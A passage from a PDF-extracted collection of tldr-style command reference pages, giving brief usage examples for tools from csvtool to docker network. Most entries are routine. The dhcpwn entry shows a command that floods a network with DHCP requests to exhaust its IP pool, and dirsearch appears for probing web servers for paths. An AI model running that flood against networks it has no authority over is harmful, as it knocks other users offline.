csvtool --column {{2,4}} {{path/to/file.csv}}

• Extract lines from a CSV file where the second column exactly matches 'Foo':

csvtool --column {{2}} --search '{{^Foo$}}' {{path/to/


file.csv}}

• Extract lines from a CSV file where the second column starts with 'Bar':

csvtool --column {{2}} --search '{{^Bar}}' {{path/to/


file.csv}}

• Find lines in a CSV file where the second column ends with 'Baz' and then extract
the third and sixth columns:

csvtool --column {{2}} --search '{{Baz$}}' {{path/to/


file.csv}} | csvtool --no-header --column {{3,6}}
ctags
Generates an index (or tag) file of language objects found in source files for many
popular programming languages.

More information: https://ctags.io/.

• Generate tags for a single file, and output them to a file named "tags" in the
current directory, overwriting the file if it exists:

ctags {{path/to/file}}

• Generate tags for all files in the current directory, and output them to a specific
file, overwriting the file if it exists:

ctags -f {{filename}} *

• Generate tags for all files in the current directory and all subdirectories:

ctags --recurse
ctest
CMake test driver program.

More information: https://gitlab.kitware.com/cmake/community/wikis/doc/ctest/


Testing-With-CTest.

• Run all tests defined in the CMake project, executing 4 jobs at a time in parallel:

ctest -j{{4}} --output-on-failure

• Show a list of available tests:

ctest -N

• Run a single test based on its name, or filter on a regular expression:

ctest --output-on-failure -R '^{{test_name}}$'


cups-config
Show technical information about your CUPS print server installation.

More information: https://www.cups.org/doc/man-cups-config.html.

• Show the currently installed version of CUPS:

cups-config --version

• Show where CUPS is currently installed:

cups-config --serverbin

• Show the location of CUPS' configuration directory:

cups-config --serverroot

• Show the location of CUPS' data directory:

cups-config --datadir

• Display all available options:

cups-config --help
cupsd
Server daemon for the CUPS print server.

More information: https://www.cups.org/doc/man-cupsd.html.

• Start cupsd in the background, aka. as a daemon:

cupsd

• Start cupsd on the [f]oreground:

cupsd -f

• [l]aunch cupsd on-demand (commonly used by launchd or systemd):

cupsd -l

• Start cupsd using the specified [c]upsd.conf configuration file:

cupsd -c {{path/to/cupsd.conf}}

• Start cupsd using the specified cups-file[s].conf configuration file:

cupsd -s {{path/to/cups-files.conf}}

• [t]est the [c]upsd.conf configuration file for errors:

cupsd -t -c {{path/to/cupsd.conf}}

• [t]est the cups-file[s].conf configuration file for errors:

cupsd -t -s {{path/to/cups-files.conf}}

• Display all available options:

cupsd -h
curl
Transfers data from or to a server.

Supports most protocols, including HTTP, FTP, and POP3.

More information: https://curl.se.

• Download the contents of a URL to a file:

curl {{http://example.com}} --output {{filename}}

• Download a file, saving the output under the filename indicated by the URL:

curl --remote-name {{http://example.com/filename}}

• Download a file, following location redirects, and automatically continuing


(resuming) a previous file transfer and return an error on server error:

curl --fail --remote-name --location --continue-at -


{{http://example.com/filename}}

• Send form-encoded data (POST request of type application/x-www-form-


urlencoded). Use --data @file_name or --data @'-' to read from STDIN:

curl --data {{'name=bob'}} {{http://example.com/form}}

• Send a request with an extra header, using a custom HTTP method:

curl --header {{'X-My-Header: 123'}} --request {{PUT}}


{{http://example.com}}

• Send data in JSON format, specifying the appropriate content-type header:

curl --data {{'{"name":"bob"}'}} --header {{'Content-Type:


application/json'}} {{http://example.com/users/1234}}

• Pass a username and password for server authentication:

curl --user myusername:mypassword {{http://example.com}}

• Pass client certificate and key for a resource, skipping certificate validation:

curl --cert {{client.pem}} --key {{key.pem}} --insecure


{{https://example.com}}
cut
Cut out fields from stdin or files.

More information: https://www.gnu.org/software/coreutils/cut.

• Cut out the first sixteen characters of each line of stdin:

cut -c {{1-16}}

• Cut out the first sixteen characters of each line of the given files:

cut -c {{1-16}} {{file}}

• Cut out everything from the 3rd character to the end of each line:

cut -c {{3-}}

• Cut out the fifth field of each line, using a colon as a field delimiter (default
delimiter is tab):

cut -d'{{:}}' -f{{5}}

• Cut out the 2nd and 10th fields of each line, using a semicolon as a delimiter:

cut -d'{{;}}' -f{{2,10}}

• Cut out the fields 3 through to the end of each line, using a space as a delimiter:

cut -d'{{ }}' -f{{3-}}


cvs
Concurrent Versions System, a revision control system.

More information: https://cvs.nongnu.org.

• Create a new repository (requires the CVSROOT environment variable to be set


externally):

cvs -d {{path/to/repository}} init

• Add a project to the repository:

cvs import -m "{{message}}" {{project_name}} {{version}}


{{vendor}}

• Checkout a project:

cvs checkout {{project_name}}

• Show changes made to files:

cvs diff {{path/to/file}}

• Add a file:

cvs add {{path/to/file}}

• Commit a file:

cvs commit -m "{{message}}" {{path/to/file}}

• Update the working directory from the remote repository:

cvs update
d8
Developer shell for the V8 JavaScript engine.

More information: https://v8.dev/docs/d8.

• Start a REPL (interactive shell):

d8

• Run a JavaScript file:

d8 {{path/to/file.js}}

• Evaluate a JavaScript expression:

d8 -e "{{code}}
daps
DAPS is an open source program for transforming DocBook XML into output formats
such as HTML or PDF.

More information: https://opensuse.github.io/daps/doc/index.html.

• Check if a DocBook XML file is valid:

daps -d {{path/to/file.xml}} validate

• Convert a DocBook XML file into PDF:

daps -d {{path/to/file.xml}} pdf

• Convert a DocBook XML file into a single HTML file:

daps -d {{path/to/file.xml}} html --single

• Display help:

daps --help

• Display version:

daps --version
darkhttpd
Darkhttpd web server.

More information: https://unix4lyfe.org/darkhttpd.

• Start server serving the specified document root:

darkhttpd {{path/to/docroot}}

• Start server on specified port (port 8080 by default if running as non-root user):

darkhttpd {{path/to/docroot}} --port {{port}}

• Listen only on specified IP address (by default, the server listens on all interfaces):

darkhttpd {{path/to/docroot}} --addr {{ip_address}}


dart
The tool for managing Dart projects.

More information: https://dart.dev/tools/dart-tool.

• Initialize a new Dart project in a directory of the same name:

dart create {{project_name}}

• Run a Dart file:

dart run {{path/to/file.dart}}

• Download dependencies for the current project:

dart pub get

• Run unit tests for the current project:

dart test

• Update an outdated project's dependencies to support null-safety:

dart pub upgrade --null-safety

• Compile a Dart file to a native binary:

dart compile exe {{path/to/file.dart}}


dash
Debian Almquist Shell, a modern, POSIX-compliant implementation of sh (not Bash-
compatible).

More information: https://manned.org/dash.

• Start an interactive shell session:

dash

• Execute a command and then exit:

dash -c "{{command}}"

• Execute a script:

dash {{path/to/script.sh}}

• Run commands from a script, printing each command before executing it:

dash -x {{path/to/script.sh}}

• Execute commands from a script, stopping at the first error:

dash -e {{path/to/script.sh}}

• Read and execute commands from stdin:

dash -s
date
Set or display the system date.

More information: https://www.gnu.org/software/coreutils/date.

• Display the current date using the default locale's format:

date +"%c"

• Display the current date in UTC and ISO 8601 format:

date -u +"%Y-%m-%dT%H:%M:%SZ"

• Display the current date as a Unix timestamp (seconds since the Unix epoch):

date +%s

• Display a specific date (represented as a Unix timestamp) using the default format:

date -d @1473305798

• Convert a specific date to the Unix timestamp format:

date -d "{{2018-09-01 00:00}}" +%s --utc

• Display the current date using the RFC-3339 format (YYYY-MM-DD hh:mm:ss
TZ):

date --rfc-3339=s

• Set the current date using the format MMDDhhmmYYYY.ss (YYYY and .ss are
optional):

date {{093023592021.59}}
dc
An arbitrary precision calculator. Uses reverse polish notation (RPN).

See also: bc.

More information: https://www.gnu.org/software/bc/manual/dc-1.05/html_mono/


dc.html.

• Start an interactive session:

dc

• Execute a script:

dc {{path/to/script.dc}}

• Calculate an expression with the specified scale:

dc --expression='{{10}} k {{5 3 /}} p'

• Calculate 4 times 5 (4 5 *), subtract 17 (17 -), and [p]rint the output:

dc --expression='4 5 * 17 - p'

• Set number of decimal places to 7 (7 k), calculate 5 divided by -3 (5 _3 /) and


[p]rint:

dc --expression='7 k 5 _3 / p'

• Calculate the golden ratio, phi: set number of decimal places to 100 (100 k), square
root of 5 (5 v) plus 1 (1 +), divided by 2 (2 /), and [p]rint result:

dc --expression='100 k 5 v 1 + 2 / p'
dcfldd
Enhanced version of dd for forensics and security.

More information: http://dcfldd.sourceforge.net/.

• Copy a disk to a raw image file and hash the image using SHA256:

dcfldd if=/dev/{{disk_device}} of={{file.img}} hash=sha256


hashlog={{file.hash}}

• Copy a disk to a raw image file, hashing each 1 GB chunk:

dcfldd if=/dev/{{disk_device}} of={{file.img}} hash={{sha512|


sha384|sha256|sha1|md5}} hashlog={{file.hash}}
hashwindow={{1G}}
dcg
Drupal code generator.

More information: https://github.com/Chi-teck/drupal-code-generator.

• Start a wizard to choose what kind of code (e.g. module, service, form, etc.) to
generate:

dcg

• Directly specify the kind of code to generate:

dcg {{service|plugin|theme|module|form}}

• Generate the code in a specific directory:

dcg --directory {{path/to/directory}}


dcode
Recursively detect and decode strings, supporting hex, decimal, binary, base64, URL,
FromChar encodings, Caesar ciphers, and MD5, SHA1, and SHA2 hashes.

Warning: uses 3rd-party web services for MD5, SHA1 and SHA2 hash lookups. For
sensitive data, use -s to avoid these services.

More information: https://github.com/s0md3v/Decodify.

• Recursively detect and decode a string:

dcode "{{NjM3YTQyNzQ1YTQ0NGUzMg==}}"

• Rotate a string by the specified offset:

dcode -rot {{11}} "{{spwwz hzcwo}}"

• Rotate a string by all 26 possible offsets:

dcode -rot {{all}} "{{bpgkta xh qtiitg iwpc sr}}"

• Reverse a string:

dcode -rev "{{hello world}}"


dd
Convert and copy a file.

More information: https://www.gnu.org/software/coreutils/dd.

• Make a bootable USB drive from an isohybrid file (such like archlinux-
xxx.iso) and show the progress:

dd if={{file.iso}} of=/dev/{{usb_drive}} status=progress

• Clone a drive to another drive with 4 MiB block, ignore error and show progress:

dd if=/dev/{{source_drive}} of=/dev/{{dest_drive}} bs=4M


conv=noerror status=progress

• Generate a file of 100 random bytes by using kernel random driver:

dd if=/dev/urandom of={{random_file}} bs=100 count=1

• Benchmark the write performance of a disk:

dd if=/dev/zero of={{file_1GB}} bs=1024 count=1000000

• Generate a system backup into an IMG file and show the progress:

dd if=/dev/{{drive_device}} of={{path/to/file.img}}
status=progress

• Restore a drive from an IMG file and show the progress:

dd if={{path/to/file.img}} of=/dev/{{drive_device}}
status=progress

• Check progress of an ongoing dd operation (Run this command from another


shell):

kill -USR1 $(pgrep ^dd)


decaffeinate
Move your CoffeeScript source to modern JavaScript.

More information: https://decaffeinate-project.org.

• Convert a CoffeeScript file to JavaScript:

decaffeinate {{path/to/file.coffee}}

• Convert a CoffeeScript v2 file to JavaScript:

decaffeinate --use-cs2 {{path/to/file.coffee}}

• Convert require and module.exports to import and export:

decaffeinate --use-js-modules {{path/to/file.coffee}}

• Convert a CoffeeScript, allowing named exports:

decaffeinate --loose-js-modules {{path/to/file.coffee}}


declare
Declare variables and give them attributes.

More information: https://www.gnu.org/software/bash/manual/bash.html#Bash-


Builtins.

• Declare a string variable with the specified value:

declare {{variable}}="{{value}}"

• Declare an integer variable with the specified value:

declare -i {{variable}}="{{value}}"

• Declare an array variable with the specified value:

declare -a {{variable}}=({{item_a item_b item_c}})

• Declare an associative array variable with the specified value:

declare -A {{variable}}=({{[key_a]=item_a [key_b]=item_b


[key_c]=item_c}})

• Declare a readonly string variable with the specified value:

declare -r {{variable}}="{{value}}"

• Declare a global variable within a function with the specified value:

declare -g {{variable}}="{{value}}"
deemix
A barebone deezer downloader library built from the ashes of Deezloader Remix.

It can be used as a standalone CLI app or implemented in a UI using the API.

More information: https://deemix.app.

• Download a track or playlist:

deemix {{https://www.deezer.com/us/track/00000000}}

• Download track / playlist at a specific bitrate:

deemix --bitrate {{FLAC|MP3}} {{url}}

• Download to a specific path:

deemix --bitrate {{bitrate}} --path {{path}} {{url}}

• Create a portable deemix config in the current directory:

deemix --portable --bitrate {{bitrate}} --path {{path}}


{{url}}
delta
A viewer for Git and diff output.

More information: https://github.com/dandavison/delta.

• Compare files or directories:

delta {{path/to/old_file_or_directory}} {{path/to/


new_file_or_directory}}

• Compare files or directories, showing the line numbers:

delta --line-numbers {{path/to/old_file_or_directory}}


{{path/to/new_file_or_directory}}

• Compare files or directories, showing the differences side by side:

delta --side-by-side {{path/to/old_file_or_directory}}


{{path/to/new_file_or_directory}}

• Compare files or directories, ignoring any Git configuration settings:

delta --no-gitconfig {{path/to/old_file_or_directory}}


{{path/to/new_file_or_directory}}

• Compare, rendering commit hashes, file names, and line numbers as hyperlinks,
according to the hyperlink spec for terminal emulators:

delta --hyperlinks {{path/to/old_file_or_directory}} {{path/


to/new_file_or_directory}}

• Display the current settings:

delta --show-config

• Display supported languages and associated file extensions:

delta --list-languages
deluge-console
An interactive interface for the Deluge BitTorrent client.

More information: https://deluge-torrent.org.

• Start the interactive console interface:

deluge-console

• Connect to a Deluge daemon instance:

connect {{hostname}}:{{port}}

• Add a torrent to the daemon:

add {{url|magnet|path/to/file}}

• Display information about all torrents:

info

• Display information about a specific torrent:

info {{torrent_id}}

• Pause a torrent:

pause {{torrent_id}}

• Resume a torrent:

resume {{torrent_id}}

• Remove a torrent from the daemon:

rm {{torrent_id}}
deluge
A command-line BitTorrent client.

More information: https://deluge-torrent.org.

• Download a torrent:

deluge {{url|magnet|path/to/file}}

• Download a torrent using a specific configuration file:

deluge -c {{path/to/configuration_file}} {{url|magnet|path/


to/file}}

• Download a torrent and launch the specified user interface:

deluge -u {{gtk|web|console}} {{url|magnet|path/to/file}}

• Download a torrent and output the log to a file:

deluge -l {{path/to/log_file}} {{url|magnet|path/to/file}}


deluged
A daemon process for the Deluge BitTorrent client.

More information: https://deluge-torrent.org.

• Start the Deluge daemon:

deluged

• Start the Deluge daemon on a specific port:

deluged -p {{port}}

• Start the Deluge daemon using a specific configuration file:

deluged -c {{path/to/configuration_file}}

• Start the Deluge daemon and output the log to a file:

deluged -l {{path/to/log_file}}
deno
A secure runtime for JavaScript and TypeScript.

More information: https://deno.land/.

• Run a JavaScript or TypeScript file:

deno run {{path/to/file.ts}}

• Start a REPL (interactive shell):

deno

• Run a file with network access enabled:

deno run --allow-net {{path/to/file.ts}}

• Run a file from a URL:

deno run {{https://deno.land/std/examples/welcome.ts}}

• Install an executable script from a URL:

deno install {{https://deno.land/std/examples/colors.ts}}


dep
A CLI tool for deployment of PHP applications.

Note: The Go command dep with the same name is deprecated and archived.

More information: https://deployer.org.

• Interactively initialize deployer in the local path (use a framework template with
--template={{template}}):

dep init

• Deploy an application to a remote host:

dep deploy {{hostname}}

• Rollback to the previous working release:

dep rollback

• Connect to a remote host via ssh:

dep ssh {{hostname}}

• List commands:

dep list

• Run any arbitrary command on the remote hosts:

dep run "{{command}}"

• Display help for a command:

dep help {{command}}


detox
Renames files to make them easier to work with.

It removes spaces and other such annoyances like duplicate underline characters.

More information: https://github.com/dharple/detox.

• Remove spaces and other undesirable characters from a file's name:

detox {{file}}

• Show how detox would rename all the files in a directory tree:

detox --dry-run -r {{directory}}

• Remove spaces and other undesirable characters from all files in a directory tree:

detox -r {{directory}}
dexdump
Display information about Android DEX files.

More information: https://manned.org/dexdump.

• Extract classes and methods from an APK file:

dexdump {{path/to/file.apk}}

• Display header information of DEX files contained in an APK file:

dexdump -f {{path/to/file.apk}}

• Display the dis-assembled output of executable sections:

dexdump -d {{path/to/file.apk}}

• Output results to a file:

dexdump -o {{path/to/file}} {{path/to/file.apk}}


dexter
Tool for authenticating the kubectl users with OpenId Connect.

More information: https://github.com/gini/dexter.

• Create and authenticate a user with Google OIDC:

dexter auth -i {{client_id}} -s {{client_secret}}

• Override the default kube config location:

dexter auth -i {{client_id}} -s {{client_secret}} --kube-


config {{sample/config}}
df
Gives an overview of the filesystem disk space usage.

More information: https://www.gnu.org/software/coreutils/df.

• Display all filesystems and their disk usage:

df

• Display all filesystems and their disk usage in human-readable form:

df -h

• Display the filesystem and its disk usage containing the given file or directory:

df {{path/to/file_or_directory}}

• Display statistics on the number of free inodes:

df -i

• Display filesystems but exclude the specified types:

df -x {{squashfs}} -x {{tmpfs}}
dfc
Gives an overview of the filesystem disk space usage with colours and graphs.

More information: https://projects.gw-computing.net/projects/dfc/wiki.

• Display filesystems and their disk usage in human-readable form with colours and
graphs:

dfc

• Display all filesystems including pseudo, duplicate and inaccessible filesystems:

dfc -a

• Display filesystems without colour:

dfc -c never

• Display filesystems containing "ext" in the filesystem type:

dfc -t ext
dhclient
DHCP client.

More information: https://manned.org/dhclient.

• Get an IP address for the eth0 interface:

sudo dhclient {{eth0}}

• Release an IP address for the eth0 interface:

sudo dhclient -r {{eth0}}


dhcpwn
Test DHCP IP exhaustion attacks and sniff local DHCP traffic.

More information: https://github.com/mschwager/dhcpwn.

• Flood the network with IP requests:

dhcpwn --interface {{network_interface}} flood --count


{{number_of_requests}}

• Sniff local DHCP traffic:

dhcpwn --interface {{network_interface}} sniff


dict
Command line dictionary using the DICT protocol.

More information: https://github.com/cheusov/dictd.

• List available databases:

dict -D

• Get information about a database:

dict -i {{database_name}}

• Look up a word in a specific database:

dict -d {{database_name}} {{word}}

• Look up a word in all available databases:

dict {{word}}

• Show information about the DICT server:

dict -I
diff
Compare files and directories.

More information: https://man7.org/linux/man-pages/man1/diff.1.html.

• Compare files (lists changes to turn old_file into new_file):

diff {{old_file}} {{new_file}}

• Compare files, ignoring white spaces:

diff --ignore-all-space {{old_file}} {{new_file}}

• Compare files, showing the differences side by side:

diff --side-by-side {{old_file}} {{new_file}}

• Compare files, showing the differences in unified format (as used by git diff):

diff --unified {{old_file}} {{new_file}}

• Compare directories recursively (shows names for differing files/directories as well


as changes made to files):

diff --recursive {{old_directory}} {{new_directory}}

• Compare directories, only showing the names of files that differ:

diff --recursive --brief {{old_directory}} {{new_directory}}

• Create a patch file for Git from the differences of two text files, treating
nonexistent files as empty:

diff --text --unified --new-file {{old_file}} {{new_file}} >


{{diff.patch}}
diffoscope
Compare files, archives, and directories.

More information: https://diffoscope.org.

• Compare two files:

diffoscope {{path/to/file1}} {{path/to/file2}}

• Compare two files without displaying a progress bar:

diffoscope --no-progress {{path/to/file1}} {{path/to/file2}}

• Compare two files and write an HTML-report to a file (use - for stdout):

diffoscope --html {{path/to/outfile|-}} {{path/to/file1}}


{{path/to/file2}}

• Compare two directories excluding files with a name matching a specified pattern:

diffoscope --exclude {{pattern}} {{path/to/directory1}}


{{path/to/directory2}}

• Compare two directories and control whether directory metadata is considered:

diffoscope --exclude-directory-metadata {{auto|yes|no|


recursive}} {{path/to/directory1}} {{path/to/directory2}}
diffstat
Create a histogram from the output of the diff command.

More information: https://manned.org/diffstat.

• Display changes in a histogram:

diff {{file1}} {{file2}} | diffstat

• Display inserted, deleted and modified changes as a table:

diff {{file1}} {{file2}} | diffstat -t


dig
DNS Lookup utility.

More information: https://manpages.debian.org/dnsutils/dig.1.html.

• Lookup the IP(s) associated with a hostname (A records):

dig +short {{example.com}}

• Get a detailed answer for a given domain (A records):

dig +noall +answer {{example.com}}

• Query a specific DNS record type associated with a given domain name:

dig +short {{example.com}} {{A|MX|TXT|CNAME|NS}}

• Get all types of records for a given domain name:

dig {{example.com}} ANY

• Specify an alternate DNS server to query:

dig @{{8.8.8.8}} {{example.com}}

• Perform a reverse DNS lookup on an IP address (PTR record):

dig -x {{8.8.8.8}}

• Find authoritative name servers for the zone and display SOA records:

dig +nssearch {{example.com}}

• Perform iterative queries and display the entire trace path to resolve a domain
name:

dig +trace {{example.com}}


dillo
A lightweight web browser intended for slow computers.

More information: https://www.dillo.org/.

• Launch Dillo:

dillo

• Launch Dillo with a specific window size and screen location:

dillo --geometry {{width}}x{{height}}+{{x_position}}+


{{y_position}}

• Launch Dillo and open a specific URL:

dillo {{duckduckgo.com}}

• Launch Dillo and open a file or directory:

dillo {{path/to/file_or_directory}}

• Launch Dillo in full-screen mode:

dillo --fullwindow

• Display version:

dillo --version

• Display help:

dillo --help
dircolors
Output commands to set the LS_COLOR environment variable and style ls, dir, etc.

More information: https://www.gnu.org/software/coreutils/dircolors.

• Output commands to set LS_COLOR using default colors:

dircolors

• Output commands to set LS_COLOR using colors from a file:

dircolors {{file}}

• Output commands for Bourne shell:

dircolors --bourne-shell

• Output commands for C shell:

dircolors --c-shell

• View the default colors for file types and extensions:

dircolors --print-data
direnv
Shell extension to load and unload environment variables depending on the current
directory.

More information: https://github.com/direnv/direnv.

• Grant direnv permission to load the .envrc present in the current directory:

direnv allow {{.}}

• Revoke the authorization to load the .envrc present in the current directory:

direnv deny {{.}}

• Edit the .envrc file in the default text editor and reload the environment on exit:

direnv edit {{.}}

• Trigger a reload of the environment:

direnv reload

• Print some debug status information:

direnv status
dirname
Calculates the parent directory of a given file or directory path.

More information: https://www.gnu.org/software/coreutils/dirname.

• Calculate the parent directory of a given path:

dirname {{path/to/file_or_directory}}

• Calculate the parent directory of multiple paths:

dirname {{path/to/file_a}} {{path/to/directory_b}}

• Delimit output with a NUL character instead of a newline (useful when combining
with xargs):

dirname --zero {{path/to/directory_a}} {{path/to/file_b}}


dirs
Displays or manipulates the directory stack.

The directory stack is a list of recently visited directories that can be manipulated with
the pushd and popd commands.

More information: https://www.gnu.org/software/bash/manual/bash.html#Directory-


Stack-Builtins.

• Display the directory stack with a space between each entry:

dirs

• Display the directory stack with one entry per line:

dirs -p

• Display only the nth entry in the directory stack, starting at 0:

dirs +{{N}}

• Clear the directory stack:

dirs -c
dirsearch
Web path scanner.

More information: https://github.com/maurosoria/dirsearch.

• Scan a web server for common paths with common extensions:

dirsearch --url {{url}} --extensions-list

• Scan a list of web servers for common paths with the .php extension:

dirsearch --url-list {{path/to/url-list.txt}} --extensions


{{php}}

• Scan a web server for user-defined paths with common extensions:

dirsearch --url {{url}} --extensions-list --wordlist {{path/


to/url-paths.txt}}

• Scan a web server using a cookie:

dirsearch --url {{url}} --extensions {{php}} --cookie


{{cookie}}

• Scan a web server using the HEAD HTTP method:

dirsearch --url {{url}} --extensions {{php}} --http-method


{{HEAD}}

• Scan a web server, saving the results to a .json file:

dirsearch --url {{url}} --extensions {{php}} --json-report


{{path/to/report.json}}
diskonaut
Terminal disk space navigator, written in Rust.

More information: https://github.com/imsnif/diskonaut.

• Start diskonaut in the current directory:

diskonaut

• Start diskonaut in a specific directory:

diskonaut {{path/to/directory}}

• Show file sizes rather than their block usage on the disk:

diskonaut --apparent-size {{path/to/directory}}

• Disable deletion confirmation:

diskonaut --disable-delete-confirmation
distccd
Server daemon for the distcc distributed compiler.

More information: https://distcc.github.io.

• Start a daemon with the default settings:

distccd --daemon

• Start a daemon, accepting connections from IPv4 private network ranges:

distccd --daemon --allow-private

• Start a daemon, accepting connections from a specific network address or address


range:

distccd --daemon --allow {{ip_address|network_prefix}}

• Start a daemon with a lowered priority that can run a maximum of 4 tasks at a
time:

distccd --daemon --jobs {{4}} --nice {{5}}

• Start a daemon and register it via mDNS/DNS-SD (Zeroconf):

distccd --daemon --zeroconf


dive
A tool for exploring a Docker image, layer contents, and discovering ways to shrink it.

More information: https://github.com/wagoodman/dive.

• Analyze a Docker image:

dive {{your_image_tag}}

• Build an image and start analyzing it:

dive build -t {{some_tag}}


django-admin
Django’s utility for administrative tasks.

More information: https://docs.djangoproject.com/en/3.0/ref/django-admin/.

• Create a new Django project:

django-admin startproject {{project_name}}

• Create a new app for the current project:

django-admin startapp {{app_name}}

• Check the current version of Django:

django-admin --version

• Display more information for the given command:

django-admin help {{command}}


dlv
Debugger for the Go programming language.

More information: https://github.com/go-delve/delve/blob/master/Documentation/


usage/dlv.md.

• Compile and begin debugging the main package in the current directory (by
default, with no arguments):

dlv debug

• Compile and begin debugging a specific package:

dlv debug {{package}} {{arguments}}

• Compile a test binary and begin debugging the compiled program:

dlv test

• Connect to a headless debug server:

dlv connect {{ip_address}}

• Attach to a running process and begin debugging:

div attach {{pid}}

• Compile and begin tracing a program:

dlv trace {{package}} --regexp '{{regular_expression}}'


doas
Executes a command as another user.

More information: https://man.openbsd.org/doas.

• Run a command as root:

doas {{command}}

• Run a command as another user:

doas -u {{user}} {{command}}

• Launch the default shell as root:

doas -s

• Parse a config file and check if the execution of a command as another user is
allowed:

doas -C {{config_file}} {{command}}

• Make doas request a password even after it was supplied earlier:

doas -L
docker build
Build an image from a Dockerfile.

More information: https://docs.docker.com/engine/reference/commandline/build/.

• Build a docker image using the Dockerfile in the current directory:

docker build .

• Build a docker image from a Dockerfile at a specified URL:

docker build {{github.com/creack/docker-firefox}}

• Build a docker image and tag it:

docker build --tag {{name:tag}} .

• Build a docker image with no build context:

docker build --tag {{name:tag}} - < {{Dockerfile}}

• Do not use the cache when building the image:

docker build --no-cache --tag {{name:tag}} .

• Build a docker image using a specific Dockerfile:

docker build --file {{Dockerfile}} .

• Build with custom build-time variables:

docker build --build-arg {{HTTP_PROXY=http://


10.20.30.2:1234}} --build-arg {{FTP_PROXY=http://
40.50.60.5:4567}} .
docker commit
Create a new image from a container’s changes.

More information: https://docs.docker.com/engine/reference/commandline/commit/.

• Create an image from a specific container:

docker commit {{container}} {{image}}:{{tag}}

• Apply a CMD Dockerfile instruction to the created image:

docker commit --change="CMD {{command}}" {{container}}


{{image}}:{{tag}}

• Apply an ENV Dockerfile instruction to the created image:

docker commit --change="ENV {{name}}={{value}}"


{{container}} {{image}}:{{tag}}

• Create an image with a specific author in the metadata:

docker commit --author="{{author}}" {{container}} {{image}}:


{{tag}}

• Create an image with a specific comment in the metadata:

docker commit --message="{{comment}}" {{container}}


{{image}}:{{tag}}

• Create an image without pausing the container during commit:

docker commit --pause={{false}} {{container}} {{image}}:


{{tag}}

• Display help:

docker commit --help


docker-compose
Run and manage multi container docker applications.

More information: https://docs.docker.com/compose/reference/.

• List all running containers:

docker-compose ps

• Create and start all containers in the background using a docker-compose.yml


file from the current directory:

docker-compose up -d

• Start all containers, rebuild if necessary:

docker-compose up --build

• Start all containers using an alternate compose file:

docker-compose --file {{path/to/file}} up

• Stop all running containers:

docker-compose stop

• Stop and remove all containers, networks, images, and volumes:

docker-compose down --rmi all --volumes

• Follow logs for all containers:

docker-compose logs --follow

• Follow logs for a specific container:

docker-compose logs --follow {{container_name}}


docker container
Manage Docker containers.

More information: https://docs.docker.com/engine/reference/commandline/container/.

• List currently running Docker containers:

docker container ls

• Start one or more stopped containers:

docker container start {{container1_name}}


{{container2_name}}

• Kill one or more running containers:

docker container kill {{container_name}}

• Stop one or more running containers:

docker container stop {{container_name}}

• Pause all processes within one or more containers:

docker container pause {{container_name}}

• Display detailed information on one or more containers:

docker container inspect {{container_name}}

• Export a container's filesystem as a tar archive:

docker container export {{container_name}}

• Create a new image from a container's changes:

docker container commit {{container_name}}


docker cp
Copy files or directories between host and container filesystems.

More information: https://docs.docker.com/engine/reference/commandline/cp.

• Copy a file or directory from the host to a container:

docker cp {{path/to/file_or_directory_on_host}}
{{container_name}}:{{path/to/file_or_directory_in_container}}

• Copy a file or directory from a container to the host:

docker cp {{container_name}}:{{path/to/
file_or_directory_in_container}} {{path/to/
file_or_directory_on_host}}

• Copy a file or directory from the host to a container, following symlinks (copies the
symlinked files directly, not the symlinks themselves):

docker cp --follow-link {{path/to/symlink_on_host}}


{{container_name}}:{{path/to/file_or_directory_in_container}}
docker exec
Execute a command on an already running Docker container.

More information: https://docs.docker.com/engine/reference/commandline/exec/.

• Enter an interactive shell session on an already-running container:

docker exec --interactive --tty {{container_name}} {{/bin/


bash}}

• Run a command in the background (detached) on a running container:

docker exec --detach {{container_name}} {{command}}

• Select the working directory for a given command to execute into:

docker exec --interactive -tty --workdir {{path/to/


directory}} {{container_name}} {{command}}

• Run a command in background on existing container but keep stdin open:

docker exec --interactive --detach {{container_name}}


{{command}}

• Set an environment variable in a running Bash session:

docker exec --interactive --tty --env {{variable_name}}


={{value}} {{container_name}} {{/bin/bash}}

• Run a command as a specific user:

docker exec --user {{user}} {{container_name}} {{command}}


docker image
Manage Docker images.

See also docker build, docker import, and docker pull.

More information: https://docs.docker.com/engine/reference/commandline/image/.

• List local Docker images:

docker image ls

• Delete unused local Docker images:

docker image prune

• Delete all unused images (not just those without a tag):

docker image prune --all

• Show the history of a local Docker image:

docker image history {{image}}


docker images
Manage Docker images.

More information: https://docs.docker.com/engine/reference/commandline/images/.

• List all Docker images:

docker images

• List all Docker images including intermediates:

docker images --all

• List the output in quiet mode (only numeric IDs):

docker images --quiet

• List all Docker images not used by any container:

docker images --filter dangling=true

• List images that contain a substring in their name:

docker images "{{*name*}}"


docker inspect
Return low-level information on Docker objects.

More information: https://docs.docker.com/engine/reference/commandline/inspect/.

• Show help:

docker inspect

• Display information about a container, image, or volume using a name or ID:

docker inspect {{container|image|ID}}

• Display a container's IP address:

docker inspect --format='{{range .NetworkSettings.Networks}}


{{.IPAddress}}{{end}}' {{container}}

• Display the path to the container's log file:

docker inspect --format='{{.LogPath}}' {{container}}

• Display the image name of the container:

docker inspect --format='{{.Config.Image}}' {{container}}

• Display the configuration information as JSON:

docker inspect --format='{{json .Config}}' {{container}}

• Display all port bindings:

docker inspect --format='{{range $p, $conf


:= .NetworkSettings.Ports}} {{$p}} -> {{(index $conf
0).HostPort}} {{end}}' {{container}}
docker login
Log into a docker registry.

More information: https://docs.docker.com/engine/reference/commandline/login/.

• Interactively log into a registry:

docker login

• Log into a registry with a specific username (user will be prompted for a
password):

docker login --username {{username}}

• Log into a registry with username and password:

docker login --username {{username}} --password {{password}}


{{server}}

• Log into a registry with password from stdin:

echo "{{password}}" | docker login --username {{username}} --


password-stdin
docker logs
Print container logs.

More information: https://docs.docker.com/engine/reference/commandline/logs.

• Print logs from a container:

docker logs {{container_name}}

• Print logs and follow them:

docker logs -f {{container_name}}

• Print last 5 lines:

docker logs {{container_name}} --tail {{5}}

• Print logs and append them with timestamps:

docker logs -t {{container_name}}

• Print logs from a certain point in time of container execution (i.e. 23m, 10s,
2013-01-02T13:23:37):

docker logs {{container_name}} --until {{time}}


docker-machine
Create and manage machines running Docker.

More information: https://docs.docker.com/machine/reference/.

• List currently running docker machines:

docker-machine ls

• Create a new docker machine with specific name:

docker-machine create {{name}}

• Get the status of a machine:

docker-machine status {{name}}

• Start a machine:

docker-machine start {{name}}

• Stop a machine:

docker-machine stop {{name}}

• Inspect information about a machine:

docker-machine inspect {{name}}


docker network
Create and manage docker networks.

More information: https://docs.docker.com/engine/reference/commandline/network/.

• List all available and configured networks on docker daemon:

docker network ls

• Create a user-defined network:

